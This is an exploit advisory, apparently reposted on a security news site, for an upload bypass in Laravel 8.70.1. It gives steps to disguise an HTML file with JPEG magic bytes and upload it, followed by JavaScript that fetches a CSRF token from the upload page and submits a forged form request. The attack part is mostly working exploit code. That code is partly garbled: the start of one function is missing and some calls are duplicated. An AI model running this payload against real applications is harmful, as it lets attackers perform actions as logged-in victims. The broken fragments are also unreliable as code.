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Published on November 15th, 2021 📆 | 5108 Views ⚑

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PHP Laravel 8.70.1 Cross Site Request Forgery / Cross Site Scripting – Torchsec

# Exploit Title: PHP Laravel 8.70.1 – Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF)
# Date: 14/11/2021
# Exploit Author: Hosein Vita
# Vendor Homepage: https://laravel.com/
# Software Link: https://laravel.com/docs/4.2
# Version: Laravel Framework 8.70.1
# Tested on: Windows/Linux

# Description: We can bypass laravel image file upload functionality to upload arbitary files on the web server
# which let us run arbitary javascript and bypass the csrf token , For more information read this one https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b

# Steps to reproduce:
1- Use HxD tool and add FF D8 FF E0 at the very begining of your file
2- Use code below to bypass csrf token

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Laravel Csrf Bypass


// Send the proper header information along with the request
xhr.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
//
xhr.send(“_token=” + token + “&desiredParameter=desiredValue”);
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = “document”;
// true on the end of here makes the call asynchronous
//Edit the path as you want
xhr.open(“GET”, “/image-upload”, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementsByTagName(“input”)[0];
// Show the token
alert(“The token is: ” + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
getTokenJS();

var POST_URL=”/”
getTokenJS();

3- Save it as Html file and upload it.

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